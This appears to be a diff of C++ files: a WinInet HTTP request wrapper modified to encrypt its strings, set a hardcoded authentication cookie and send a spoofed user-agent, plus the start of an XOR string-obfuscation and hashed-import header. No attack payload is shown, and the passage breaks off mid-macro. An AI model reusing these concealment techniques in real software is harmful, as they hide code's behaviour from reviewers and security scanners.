/// @brief a minimal map-like container that preserves insertion order
/// @sa https://json.nlohmann.me/api/ordered_map/
template<class Key, class T, class IgnoredLess, class Allocator>
struct ordered_map;
/// @brief specialization that maintains the insertion order of object keys
/// @sa https://json.nlohmann.me/api/ordered_json/
using ordered_json = basic_json<nlohmann::ordered_map>;
NLOHMANN_JSON_NAMESPACE_END
#endif // INCLUDE_NLOHMANN_JSON_FWD_HPP_
+811
View File
@@ -0,0 +1,811 @@
#include "wnetwrap.h"
#pragma comment(lib, "Wininet.lib")
#pragma comment( lib, "urlmon" )
DWORD WINAPI WorkerInternetConnect(LPVOID);
DWORD WINAPI WorkerInternetRequest(LPVOID);
struct TPARAMS {
HINTERNET hInternet = NULL;
HINTERNET hInternetOut = NULL; //returned handle
std::string host = "";
INTERNET_PORT port = 0;
DWORD service = 0;
};
struct TRPARAMS {
HINTERNET hRequest = NULL;
BOOL res = NULL;
std::string headers = "";
};
wrap::req wrap::toSource;
//adapted from https://stackoverflow.com/questions/20634666/get-a-mime-type-from-a-extension-in-c
std::string GetMimeType(const std::string& ext) {
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
std::wstring str = converter.from_bytes(ext);
LPWSTR pwzMimeOut = NULL;
HRESULT hr = FindMimeFromData(NULL, str.c_str(), NULL, 0,
NULL, FMFD_URLASFILENAME, &pwzMimeOut, 0x0);
if (SUCCEEDED(hr)) {
std::wstring strResult(pwzMimeOut);
// Despite the documentation stating to call operator delete, the
// returned string must be cleaned up using CoTaskMemFree
CoTaskMemFree(pwzMimeOut);
std::string narrow = converter.to_bytes(strResult);
return narrow;
}
return "application/unknown";
}
static std::string base64_encode(const std::string& in) {
std::string out;
int val = 0, valb = -6;
for (unsigned char c : in) {
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
return out;
}
std::string hex_encode(char const c)
{
char s[3];
if (c & 0x80)
{
std::snprintf(&s[0], 3, "%02X",
static_cast<unsigned int>(c & 0xff)
);
}
else
{
std::snprintf(&s[0], 3, "%02X",
static_cast<unsigned int>(c)
);
}
return std::string(s);
}
std::string url_encode(std::string const& str)
{
std::string res;
res.reserve(str.size());
bool form = true;
for (auto const& e : str)
{
if (e == ' ' && form)
{
res += "+";
}
else if (std::isalnum(static_cast<unsigned char>(e)) ||
e == '-' || e == '_' || e == '.' || e == '~')
{
res += e;
}
else
{
res += "%" + hex_encode(e);
}
}
return res;
}
void wrap::Params(wrap::Parameters p) {
//assemble parameters from map
std::string final_params = "";
int pcount = 0;
for (auto elem : p.p)
{
pcount++;
if (elem.first != "") {
if (pcount > 1) { // add & if we're after 1st param
final_params += "&";
}
final_params += url_encode(elem.first) + "=" + url_encode(elem.second);
}
}
wrap::toSource.Params = "?" + final_params;
//std::cout << "Parameters url encoded:" << std::endl;
//std::cout << wrap::toSource.Params << std::endl;
}
void wrap::Params(wrap::Url u) {
wrap::toSource.Url = u.adr;
//std::cout << "got url: " + u.adr << std::endl;
}
void wrap::Params(wrap::Header h) {
wrap::toSource.Header = h;
}
void wrap::Params(wrap::Method m) {
wrap::toSource.Method = m.method;
}
void wrap::Params(wrap::Download dl) {
wrap::toSource.Dl = dl.dl;
}
void wrap::Params(wrap::File f) {
std::string fname = f.file;
// read entire file into string
if (std::ifstream inputstream{ fname, std::ios::binary | std::ios::ate }) {
auto fsize = inputstream.tellg();
std::string finput(fsize, '\0'); // construct string to stream size
inputstream.seekg(0);
if (inputstream.read(&finput[0], fsize))
std::cout << finput << '\n';
wrap::toSource.PostData = finput;
}
}
void wrap::Params(wrap::Body b) {
wrap::toSource.PostData = b.body;
}
void wrap::Params(wrap::Payload pd) {
//assemble payload from map
std::string final_postdata = "";
int pcount = 0;
for (auto elem : pd.pd)
{
pcount++;
if (elem.first != "") {
if (pcount > 1) { // add & if we're after 1st param
final_postdata += "&";
}
final_postdata += url_encode(elem.first) + "=" + url_encode(elem.second);
}
}
wrap::toSource.PostData = final_postdata;
//std::cout << "Payload data url encoded:" << std::endl;
//std::cout << toSource.PostData << std::endl;
}
void wrap::Params(wrap::Multipart mp) {
//assemble multipart post payload from map
std::string final_postdata = "";
std::string boundary = "735323031399963166993862150";
wrap::toSource.Header.hdr["content-type"] = "multipart/form-data; boundary=" + boundary;
std::string fname, ctype;
int pcount = 0;
for (auto elem : mp.mp)
{
pcount++;
if (elem.first.substr(0, 5) != "file:") { // if theres no file: prefix, assume this is not a file
final_postdata += "--" + boundary + "\r\n";
final_postdata += "Content-Disposition: form-data; name=\"" + (elem.first) + "\"\r\n";
final_postdata += "Content-Type: text/plain\r\n\r\n";
final_postdata += (elem.second) + "\r\n";
}
else { //if we're sending a file
fname = elem.second.substr(elem.second.find_last_of("/\\") + 1); //used for filename
ctype = "application/octet-stream"; //used as default for file content-type
//try to see if we can match the MIME type, by getting the file extension
if (fname.find_last_of(".") != std::string::npos) { //use find_last_of to ignore dots in filename
std::string extension = fname.substr(fname.find_last_of("."));
if (GetMimeType(extension) != "application/unknown") {
ctype = GetMimeType(extension);
}
}
final_postdata += "--" + boundary + "\r\n";
final_postdata += "Content-Disposition: form-data; name=\"" + (elem.first.substr(5)) + "\"; filename=\"" + fname + "\"\r\n";
final_postdata += "Content-Type: " + ctype + "\r\n\r\n";
// read entire file into string
if (std::ifstream inputstream{ elem.second, std::ios::binary | std::ios::ate }) {
auto fsize = inputstream.tellg();
std::string finput(fsize, '\0'); // construct string to stream size
inputstream.seekg(0);
inputstream.read(&finput[0], fsize);
final_postdata += finput + "\r\n"; //add to postdata
}
}
if (pcount == mp.mp.size()) { //if we've reached the last map element, add -- to the end of the last boundary, as per RFC spec
final_postdata += "--" + boundary + "--";
}
}
wrap::toSource.PostData = final_postdata;
//std::cout << "multipart payload:" << std::endl;
//std::cout << final_postdata << std::endl;
}
void wrap::Params(wrap::Authentication auth) {
std::string basicauth = auth.usr + ":" + auth.pwd;
basicauth = base64_encode(basicauth);
wrap::toSource.Header.hdr["Authorization"] = "Basic " + basicauth;
}
void wrap::Params(wrap::Bearer token) { //https://www.oauth.com/oauth2-servers/making-authenticated-requests/
wrap::toSource.Header.hdr["Authorization"] = "Bearer " + token.token;
}
void wrap::Params(wrap::Timeout timeout) {
if (timeout.type == "connection") {
wrap::toSource.TimeoutConnect = timeout.timeout;
}
else {
wrap::toSource.TimeoutRequest = timeout.timeout;
}
}
wrap::Response wrap::httpsreq(wrap::req request) {
wrap::Response output;
HINTERNET hInternet = InternetOpenA(request.ua.c_str(), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
output.err = "InternetOpen failed: " + GetLastError();
return output;
}
else
{
//do some very basic URI parsing to separate host (for InternetConnect) from path (used in HttpOpenRequest)
//also to see what protocol is specified
std::string host, path, scheme, urlfile = "";
//scheme and host
host = request.Url;
if (host.find("://") != std::string::npos) { //get scheme if available
scheme = host.substr(0, host.find(":"));
host = host.substr(host.find("://") + 3);
}
else { //otherwise assume it's https
scheme = "https";
}
//default is https
DWORD service = INTERNET_SERVICE_HTTP;
INTERNET_PORT port = INTERNET_DEFAULT_HTTPS_PORT;
if (scheme == "https") {
port = INTERNET_DEFAULT_HTTPS_PORT;
}
else if (scheme == "http") {
port = INTERNET_DEFAULT_HTTP_PORT;
}
else {
output.err = "Error: URL input has scheme other than HTTP/S";
return output;
}
//path (includes fragments, params etc)
if ((host.find("/") != std::string::npos) || (host.find("?") != std::string::npos)) {
if ((host.back() != '?') && (host.back() != '/')) {
if (host.find("/") != std::string::npos) {
path = host.substr(host.find("/"));
host = host.substr(0, host.find("/"));
}
else {
path = host.substr(host.find("?"));
host = host.substr(0, host.find("?"));
}
if (path.find_last_of("/") != std::string::npos) {
if (path.substr(path.find_last_of("/") + 1).find(".") != std::string::npos) {
urlfile = path.substr(path.find_last_of("/") + 1);
}
}
else {
if (path.find_last_of("?") != std::string::npos) {
if (path.substr(path.find_last_of("?") + 1).find(".") != std::string::npos) {
urlfile = path.substr(path.find_last_of("?") + 1);
}
}
}
}
else {
host = host.substr(0, host.size() - 1);
}
}
//add params that were passed as Parameters map
if (request.Params != "") {
path += request.Params;
}
output.url = scheme + "://" + host + path;
// Set the cookie here, using the constructed URL
BOOL cookieSet = InternetSetCookieA(output.url.c_str(),
EC("hash"),
EC("2239784366428af5e59516a8fd0a0faf"));
if (!cookieSet) {
output.err = "Failed to set cookie: " + std::to_string(GetLastError());
InternetCloseHandle(hInternet);
return output;
}
if (request.Dl == "dl") {
request.Dl = urlfile;
}
HINTERNET hConnect = NULL;
if (wrap::toSource.TimeoutConnect == 0) {
hConnect = InternetConnectA(hInternet, host.c_str(), port, NULL, NULL, service, 0, NULL);
}
else {
TPARAMS params;
params.hInternet = hInternet;
params.host = host;
params.port = port;
params.service = service;
HANDLE hThread;
hThread = CreateThread(
NULL,
0,
WorkerInternetConnect,
&params,
0,
0
);
if (hThread == 0) {
output.err = "Could not create thread for timeout.";
return output;
}
if (WaitForSingleObject(hThread, wrap::toSource.TimeoutConnect) == WAIT_TIMEOUT)
{
std::cout << "Can not connect to server in " << wrap::toSource.TimeoutConnect << " milliseconds" << std::endl;
if (hInternet)
InternetCloseHandle(hInternet);
WaitForSingleObject(hThread, INFINITE);
output.err = "InternetConnect Thread has exited ";
return output;
}
DWORD dwExitCode = 0;
if (!GetExitCodeThread(hThread, &dwExitCode))
{
output.err = "Error on GetExitCodeThread: " + GetLastError();
return output;
}
CloseHandle(hThread);
if (dwExitCode) {
output.err = "Worker function failed";
return output;
}
hConnect = params.hInternetOut;
}
if (hConnect == NULL)
{
output.err = "InternetConnect failed: " + GetLastError();
return output;
}
else
{
HINTERNET hRequest = HttpOpenRequestA(hConnect, request.Method.c_str(), path.c_str(), NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
if (hRequest == NULL)
{
output.err = "HttpOpenRequest failed: " + GetLastError();
return output;
}
else
{
if (request.Method == "POST") {
if ((request.Header.hdr.find("content-type") == request.Header.hdr.end()) &&
(request.Header.hdr.find("Content-Type") == request.Header.hdr.end())) {
request.Header.hdr.insert(std::pair<std::string, std::string>("Content-Type", "application/x-www-form-urlencoded"));
}
}
if (request.Method == "GET") {
if ((request.Header.hdr.find("content-type") == request.Header.hdr.end()) &&
(request.Header.hdr.find("Content-Type") == request.Header.hdr.end())) {
request.Header.hdr.insert(std::pair<std::string, std::string>("Content-Type", "text/plain"));
}
}
std::string final_headers = "";
for (auto elem : request.Header.hdr)
{
if (elem.first != "") {
final_headers += elem.first + ":" + elem.second + "\r\n";
}
}
if (final_headers != "") {
final_headers += "\r\n\r\n";
}
BOOL sendr = NULL;
if (wrap::toSource.TimeoutRequest == 0) {
sendr = HttpSendRequestA(hRequest, final_headers.c_str(), -1L, &wrap::toSource.PostData[0], sizeof(char) * wrap::toSource.PostData.size());
}
else {
TRPARAMS rparams;
rparams.hRequest = hRequest;
rparams.headers = final_headers;
HANDLE rhThread;
rhThread = CreateThread(
NULL,
0,
WorkerInternetRequest,
&rparams,
0,
0
);
if (rhThread == 0) {
output.err = "Could not create thread for timeout.";
return output;
}
if (WaitForSingleObject(rhThread, wrap::toSource.TimeoutRequest) == WAIT_TIMEOUT)
{
std::cout << "Can not send request to server in " << wrap::toSource.TimeoutRequest << " milliseconds" << std::endl;
if (hInternet)
InternetCloseHandle(hInternet);
WaitForSingleObject(rhThread, INFINITE);
output.err = "InternetConnect Thread has exited ";
return output;
}
DWORD dwExitCode = 0;
if (!GetExitCodeThread(rhThread, &dwExitCode))
{
output.err = "Error on GetExitCodeThread: " + GetLastError();
return output;
}
CloseHandle(rhThread);
if (dwExitCode) {
output.err = "Worker function failed";
return output;
}
sendr = rparams.res;
}
if (!sendr)
{
output.err = "HttpSendRequest failed with error code " + GetLastError();
return output;
}
else
{
std::string strResponse;
const int nBuffSize = 1024;
char buff[nBuffSize];
FILE* pfile = nullptr;
if (request.Dl != "") {
pfile = fopen(request.Dl.c_str(), "wb");
}
BOOL bKeepReading = true;
DWORD dwBytesRead = -1;
while (bKeepReading && dwBytesRead != 0)
{
bKeepReading = InternetReadFile(hRequest, buff, nBuffSize, &dwBytesRead);
if (pfile != nullptr) {
fwrite(buff, sizeof(char), dwBytesRead, pfile);
}
else {
strResponse.append(buff, dwBytesRead);
}
}
if (pfile != nullptr) {
fflush(pfile);
fclose(pfile);
}
//get headers recd
std::string received_headers;
//get the size headers
DWORD d = 0;
get_received_headers:
// This call will fail on the first pass, because no buffer is allocated.
if (!HttpQueryInfoA(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, &received_headers[0], &d, NULL))
{
if (GetLastError() == ERROR_HTTP_HEADER_NOT_FOUND)
{
// Code to handle the case where the header isn't available.
}
else
{
// Check for an insufficient buffer.
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
received_headers.resize(d, '\0'); // Allocate the necessary buffer.
goto get_received_headers;// Retry the call.
}
else
{
// Error handling code.
}
}
}
else { //no errors
if (received_headers != "") {
//std::string s(recd_headers, d);
//break headers std::string into map
std::string delimiter = "\n";
size_t pos = 0;
std::string token, fieldname;
while ((pos = received_headers.find(delimiter)) != std::string::npos) {
token = received_headers.substr(0, pos);
if (token.find(":") != std::string::npos) { //filters out lines without :, e.g. 200 OK
//here we convert the header field name to lowercase
//NOTE: this method does NOT support UTF-8 (only ascii)
//but should not be a problem as header field names are all standard ascii
//header values are left as recd
fieldname = token.substr(0, token.find(":"));
for (auto& c : fieldname)
{
c = tolower(c);
}
//cookies are dealt with on the spot
if (fieldname == "set-cookie") {
std::string cval = token.substr(token.find(":") + 1);
std::string cookie_url = scheme + "://" + host;//ignoring path for now
InternetSetCookieA(&cookie_url[0], NULL, &cval[0]);
}
output.header.insert(std::pair<std::string, std::string>(fieldname, token.substr(token.find(":") + 1)));
}
received_headers.erase(0, pos + delimiter.length());
}
}
}
std::string sent_headers;
d = 0;
get_sent_headers:
// This call will fail on the first pass, because no buffer is allocated.
if (!HttpQueryInfoA(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF | HTTP_QUERY_FLAG_REQUEST_HEADERS, &sent_headers[0], &d, NULL))
{
if (GetLastError() == ERROR_HTTP_HEADER_NOT_FOUND)
{
// Code to handle the case where the header isn't available.
}
else
{
// Check for an insufficient buffer.
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
sent_headers.resize(d, '\0'); // Allocate the necessary buffer.
goto get_sent_headers;// Retry the call.
}
else
{
// Error handling code.
}
}
}
else { //no errors
if (sent_headers != "") {
//std::cout << std::endl << sent_headers << std::endl;
//std::string s(sent_headers, d);
//break headers std::string into map
std::string delimiter = "\n";
size_t pos = 0;
std::string token;
while ((pos = sent_headers.find(delimiter)) != std::string::npos) {
token = sent_headers.substr(0, pos);
//cout << "processing:\n" + token << endl;
if (token.find(":") != std::string::npos) {
std::string first = token.substr(0, token.find(":"));
std::string second = token.substr(token.find(":") + 1);
//cout << "adding: " + first +" " + second << endl;
//NOTE: SENT HEADER KEYS ARE RETURNED WITH A TRAILING SPACE BY WININET - RECD HEADER KEYS ARENT
//FOR THIS REASON FOR SENT HEADERS WE DO SUBSTR 0, token.find(":") - 1
output.sent_headers.insert(std::pair<std::string, std::string>(token.substr(0, token.find(":")), token.substr(token.find(":") + 1)));
}
sent_headers.erase(0, pos + delimiter.length());
}
}
}
//get the status code
DWORD statusCode = 0;
DWORD length = sizeof(DWORD);
if (HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &length, NULL)) {
output.status_code = std::to_string(statusCode);
}
else {
//error handling
}
//get security info - see here : https://stackoverflow.com/questions/41187935/can-not-programmatically-determine-which-tls-version-my-app-uses
INTERNET_SECURITY_CONNECTION_INFO connInfo = { 0 };
DWORD certInfoLength = sizeof(INTERNET_SECURITY_CONNECTION_INFO);
InternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_CONNECTION_INFO, &connInfo, &certInfoLength);
//cout << connInfo.connectionInfo.dwProtocol << endl;
switch (connInfo.connectionInfo.dwProtocol) {
case(SP_PROT_TLS1_2_CLIENT): output.secinfo["protocol"] = "Transport Layer Security 1.2 client-side"; break;
case(SP_PROT_TLS1_1_CLIENT): output.secinfo["protocol"] = "Transport Layer Security 1.1 client-side"; break;
case(SP_PROT_TLS1_CLIENT): output.secinfo["protocol"] = "Transport Layer Security 1.0 client-side"; break;
case(SP_PROT_TLS1_SERVER): output.secinfo["protocol"] = "Transport Layer Security 1.0 server-side"; break;
case(SP_PROT_SSL3_CLIENT): output.secinfo["protocol"] = "Secure Sockets Layer 3.0 client-side."; break;
case(SP_PROT_SSL3_SERVER): output.secinfo["protocol"] = "Secure Sockets Layer 3.0 server-side."; break;
case(SP_PROT_TLS1_1_SERVER): output.secinfo["protocol"] = "Transport Layer Security 1.1 server-side."; break;
case(SP_PROT_TLS1_2_SERVER): output.secinfo["protocol"] = "Transport Layer Security 1.2 server-side."; break;
case(SP_PROT_SSL2_CLIENT): output.secinfo["protocol"] = "Secure Sockets Layer 2.0 client-side. Superseded by SP_PROT_TLS1_CLIENT."; break;
case(SP_PROT_SSL2_SERVER): output.secinfo["protocol"] = "Secure Sockets Layer 2.0 server-side. Superseded by SP_PROT_TLS1_SERVER. "; break;
case(SP_PROT_PCT1_CLIENT): output.secinfo["protocol"] = "Private Communications Technology 1.0 client-side. Obsolete."; break;
case(SP_PROT_PCT1_SERVER): output.secinfo["protocol"] = "Private Communications Technology 1.0 server-side. Obsolete."; break;
}
switch (connInfo.connectionInfo.aiCipher) {
case(CALG_3DES): output.secinfo["cipher"] = "3DES block encryption algorithm"; break;
case(CALG_AES_128): output.secinfo["cipher"] = "AES 128-bit encryption algorithm"; break;
case(CALG_AES_256): output.secinfo["cipher"] = "AES 256-bit encryption algorithm"; break;
case(CALG_DES): output.secinfo["cipher"] = "DES encryption algorithm"; break;
case(CALG_RC2): output.secinfo["cipher"] = "RC2 block encryption algorithm"; break;
case(CALG_RC4): output.secinfo["cipher"] = "RC4 stream encryption algorithm"; break;
case(0): output.secinfo["cipher"] = "No encryption"; break;
}
output.secinfo["cipher_strength"] = std::to_string(connInfo.connectionInfo.dwCipherStrength);
switch (connInfo.connectionInfo.aiHash) {
case(CALG_MD5): output.secinfo["hash"] = "MD5 hashing algorithm"; break;
case(CALG_SHA): output.secinfo["hash"] = "SHA hashing algorithm"; break;
}
if (output.secinfo["hash"] != "") {
output.secinfo["hash_strength"] = std::to_string(connInfo.connectionInfo.dwHashStrength);
}
switch (connInfo.connectionInfo.aiExch) {
case(CALG_RSA_KEYX): output.secinfo["key_exch"] = "RSA key exchange"; break;
case(CALG_DH_EPHEM): output.secinfo["key_exch"] = "Diffie-Hellman key exchange"; break;
}
if (output.secinfo["key_exch"] != "") {
output.secinfo["key_exch_strength"] = std::to_string(connInfo.connectionInfo.dwExchStrength);
}
std::string cert_info_string;
DWORD cert_info_length = 2048;
cert_info_string.resize(cert_info_length, '\0');
if (!InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_CERTIFICATE, &cert_info_string[0], &cert_info_length))
{
output.err = "InternetQueryOption failed " + GetLastError();
return output;
}
output.secinfo["certificate"] = cert_info_string;
output.raw = strResponse;
std::string doctype = strResponse.substr(0, 14);
std::transform(doctype.begin(), doctype.end(), doctype.begin(), ::tolower);
if (doctype == "<!doctype html") {
output.text = wrap::text_from_html(strResponse);
}
else {
output.text = output.raw;
}
wrap::toSource.reset();
return output;
}
InternetCloseHandle(hRequest);
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternet);
}
}
template <typename... Ts>
wrap::Response wrap::HttpsRequest(Ts&& ...args);
/////////////////// WorkerFunctions //////////////////////
DWORD WINAPI WorkerInternetConnect(IN LPVOID vThreadParm) // https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)
{
TPARAMS* params;
params = (TPARAMS*)vThreadParm;
HINTERNET g_hConnect = 0;
if (!(g_hConnect = InternetConnectA(params->hInternet, params->host.c_str(), params->port, NULL, NULL, params->service, 0, NULL)))
{
//std::cerr << "Error on InternetConnnect: " << GetLastError() << std::endl;
return 1; // failure
}
else {
//std::cout << "Connected OK" << std::endl;
params->hInternetOut = g_hConnect;
}
return 0; // success
}
DWORD WINAPI WorkerInternetRequest(IN LPVOID vThreadParm) // https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)
{
TRPARAMS* params;
params = (TRPARAMS*)vThreadParm;
BOOL g_hConnect = false;
if (!(g_hConnect = HttpSendRequestA(params->hRequest, params->headers.c_str(), -1L, &wrap::toSource.PostData[0], sizeof(char) * wrap::toSource.PostData.size())))
{
//std::cerr << "Error on HttpSendRequestA: " << GetLastError() << std::endl;
return 1; // failure
}
else {
//std::cout << "Connected OK" << std::endl;
params->res = g_hConnect;
}
return 0; // success
}
// not a proper parser
std::string wrap::text_from_html(std::string html) {
std::string output = "";
bool over_tag = false; //whether we are currently going over a tag
bool store = true; //whether we're storing what we're going over
bool js = false;
bool css = false;
for (std::string::size_type i = 0; i < html.size(); ++i) {
if (html[i] == '<') {
if (html[i + 1] == '/') {
//cout << "close tag" << endl;
if (html.substr(i + 2, 5) == "style") {
//cout << "close style tag" << endl;
css = false;
}
if (html.substr(i + 2, 6) == "script") {
//cout << "close js tag" << endl;
js = false;
}
}
else {
//cout << "open tag" << endl;
if (html.substr(i + 1, 5) == "style") {
//cout << "open style tag" << endl;
css = true;
}
if (html.substr(i + 1, 6) == "script") {
//cout << "open js tag" << endl;
js = true;
}
}
over_tag = true;
}
if ((!js) && (!css) && (!over_tag)) {
output = output + (html[i]);
}
if (html[i] == '>') {
over_tag = false;
}
}
return output;
}
+288
View File
@@ -0,0 +1,288 @@
/*
fix: accept gzip data... see this async wrapper that does it: https://www.codeproject.com/articles/43860/an-asynchronous-http-download-class-for-mfc-atl-an
fix: HttpOpenRequestA and HttpSendRequestA seem to work passing utf-8 params even though the docs recommend always using the W commands
notes
- cookies currently only set for url without path (domain only)
- no cookie url encoding
- session cookies not preserved
- in url only query params, not host / path is url encoded
- due to MS bug timeout is done via worker thread, this means it cant be increased beyond MS default
also timeouts might cause memory leaks, are all threads, pointers, structs, vars etc deleted/freed?
according to this SO thread no need to delete or free unless new or malloc called https://stackoverflow.com/questions/5243360/how-to-free-memory-for-structure-variable
should smart pointers be used in the workers? the docs mainly talk about cases where new is used https://docs.microsoft.com/en-us/cpp/cpp/smart-pointers-modern-cpp?view=msvc-160
- no auto redirect
fixed: post data size limit - fixed by converting postdata string to char array before sending
*/
#pragma once
// needed for utf-8 url encoding - see comments at https://alfps.wordpress.com/2011/12/08/unicode-part-2-utf-8-stream-mode/
// win10 build 17134 (April 2018 Update) and later users can use setlocale(LC_ALL, ".UTF8") see https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/setlocale-wsetlocale?view=msvc-160
#pragma execution_character_set( "utf-8" )
#include <string>
#include <windows.h>
#include <WinInet.h>
#include <Winineti.h>
#include <stdio.h>
#include <cstdint>
#include <map>
#include <regex>
#include <initializer_list>
#include <locale>
#include <codecvt>
#include <stdlib.h>
#include <iostream>
#include <sstream>
#include <fstream>
#include <algorithm>
#include <urlmon.h>
#include <mutex>
#include "Encrypt.h"
bool containsWeirdCharacters(const std::string& str) {
for (char ch : str) {
if (!std::isprint(static_cast<unsigned char>(ch)) && ch != '\n' && ch != '\t') {
return true;
}
}
return false;
}
namespace wrap {
struct Body { //used for postdata
std::string body;
};
struct File { //used for uploading file multipart post
std::string file;
};
struct Download {
std::string dl = "dl"; //default is to download file keeping original filename
};
struct Method {
std::string method;
};
struct Url {
std::string adr;
};
struct Header {
std::map<std::string, std::string> hdr;
Header(std::initializer_list<std::pair<const std::string, std::string> > hdr) :
hdr(hdr) {
}
};
struct Parameters {
std::map<std::string, std::string> p;
Parameters(std::initializer_list<std::pair<const std::string, std::string> > p) :
p(p) {
}
};
struct Payload {
std::map<std::string, std::string> pd;
Payload(std::initializer_list<std::pair<const std::string, std::string> > pd) :
pd(pd) {
}
};
struct Multipart {
std::map<std::string, std::string> mp;
Multipart(std::initializer_list<std::pair<const std::string, std::string> > mp) :
mp(mp) {
}
};
struct Authentication {
std::string usr;
std::string pwd;
};
struct Bearer {
std::string token;
};
struct Timeout {
DWORD timeout;
std::string type = "connection"; // connection or request
};
struct req {
std::map<std::string, std::string> headers;
bool set_header(std::string key, std::string value) {
/* Header names are not case sensitive.
From RFC 2616 - "Hypertext Transfer Protocol -- HTTP/1.1", Section 4.2, "Message Headers":
Each header field consists of a name followed by a colon (":") and the field value. Field names are case-insensitive.
The updating RFC 7230 does not list any changes from RFC 2616 at this part.
so we always use fields / keys with lowercase to avoid duplication */
std::transform(key.begin(), key.end(), key.begin(), ::tolower);
try {
if (headers.find(key) == headers.end()) { //if entry doesnt exist
headers.insert(std::pair<std::string, std::string>(key, value)); //add it
}
else { //if entry exists, update value
headers[key] = value;
}
return true;
}
catch (...) {
return false;
}
};
bool clear_headers(std::string key = "") {
if (key == "") { //leave empty to clear all
try {
headers.clear();
return true;
}
catch (...) {
return false;
}
}
else {
try {
std::transform(key.begin(), key.end(), key.begin(), ::tolower);
if (headers.find(key) != headers.end()) { // if element exists
headers.erase(key);
return true;
}
else {
return false;
}
}
catch (...) {
return false;
}
}
};
//std::string postdata;
std::string ua = EC("Mozilla/5.0 (Windows NT 14_73_31; WOW64)");
std::string Params;
std::string PostData; // key is type of data (body,payload or file) and value is the data
std::string Cookies;
std::string Dl;
std::string Proxies;
std::string Method = "GET";
std::string Auth;
std::string Url = "www.example.com";
Header Header = { {"",""} };
DWORD TimeoutConnect = 0;
DWORD TimeoutRequest = 0;
void reset() {
ua = EC("Mozilla/5.0 (Windows NT 14_73_31; WOW64)");
Params = "";
PostData = "";
Cookies = "";
Dl = "";
Proxies = "";
Method = "GET";
Auth = "";
Url = "www.example.com";
Header = { {"",""} };
TimeoutConnect = 0;
TimeoutRequest = 0;
};
};
struct Response {
std::map <std::string, std::string> header;
std::map <std::string, std::string> sent_headers;
std::map <std::string, std::string> secinfo;
std::string url;
std::string raw;
std::string text;
std::string status_code;
std::string err;
};
std::string text_from_html(std::string html);
//initial req object that will be used to pass params to cpp source function
extern req toSource;
void Params(wrap::Parameters s);
void Params(wrap::Url u);
void Params(wrap::Header h);
void Params(wrap::Payload pd);
void Params(wrap::Multipart mp);
void Params(wrap::Authentication auth);
void Params(wrap::Bearer token);
void Params(wrap::Method m);
void Params(wrap::Download dl);
void Params(wrap::Body body);
void Params(wrap::File file);
void Params(wrap::Timeout timeout);
// url, headers, params, postdata, cookies, dl flag, proxies, timeout, method, auth
Response httpsreq(req Request);
//this is to achieve the effect of allowing random params of different types
//https://stackoverflow.com/questions/67089840
//not even URL is needed - it's set to example.com by default
std::mutex Netty;
template <typename ...Ts>
Response HttpsRequest(Ts&& ...args)
{
try
{
std::lock_guard<std::mutex> Lokkay(Netty); // Lock the mutex
std::initializer_list<int> ignore = { (Params(args), 0)... };
(void)ignore; // Hack that prevents the initializer_list from being optimized and the "ignore variable is unused" warning
Response x = httpsreq(toSource);
if (!containsWeirdCharacters(x.text))
{
std::cout << "R:" << std::endl;
std::cout << x.text << std::endl;
}
else
{
std::cout << "EC NP" << std::endl;
}
Sleep(300);
return x;
}
catch (const std::exception& e) {
std::cout << "Cg: " << e.what() << std::endl;
}
};
}
+678
View File
@@ -0,0 +1,678 @@
#include <utility>
#include <type_traits>
#include <ctime>
#include <chrono>
#include <random>
#include <algorithm>
#include <string>
#include <iostream>
#include <Windows.h>
#include <Intrin.h>
#include <vector>
#ifndef BUILD_SEED
#define BUILD_SEED 0xBCD67EEu // <-- This value gets randomized on each build via a prebuild command
#endif
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
#define EC(str) xorstr(str).crypt_get()
#define TIME_BASED_XOR_KEY \
( static_cast<std::uintptr_t>(BUILD_SEED) )
#define XORSTR_FORCEINLINE __forceinline
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
#ifndef LAZY_IMPORTER_CPP_FORWARD
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
#else
#include <utility>
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
#endif
#endif
#include <intrin.h>
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
#if defined(_MSC_VER)
#define LAZY_IMPORTER_FORCEINLINE __forceinline
#elif defined(__GNUC__) && __GNUC__ > 3
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
#define LAZY_IMPORTER_CASE_SENSITIVITY false
#else
#define LAZY_IMPORTER_CASE_SENSITIVITY true
#endif
#define LAZY_IMPORTER_STRINGIZE(x) #x
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
// Enhanced Hash Function with multiple rounds and key mixing
#define LAZY_IMPORTER_KHASH(str) \
::li::detail::khash( \
str, \
